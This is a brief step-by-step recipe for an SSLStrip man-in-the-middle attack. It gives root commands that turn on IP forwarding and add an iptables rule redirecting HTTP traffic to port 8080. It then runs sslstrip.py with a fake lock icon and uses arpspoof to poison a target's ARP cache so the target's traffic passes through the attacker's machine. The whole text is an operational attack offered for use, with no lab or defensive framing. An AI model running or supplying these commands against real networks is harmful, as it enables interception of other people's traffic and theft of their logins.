

# **SSLStrip**

- 1) Flip your machine into forwarding mode (as root):  
echo "1" > /proc/sys/net/ipv4/ip\_forward
- 2) Setup iptables to intercept HTTP requests (as root):  
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
- 3) sslstrip.py -l 8080 -f lock.ico
- 4) Run arpspoof to redirect traffic to your machine (as root):  
arpspoof -i <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress>
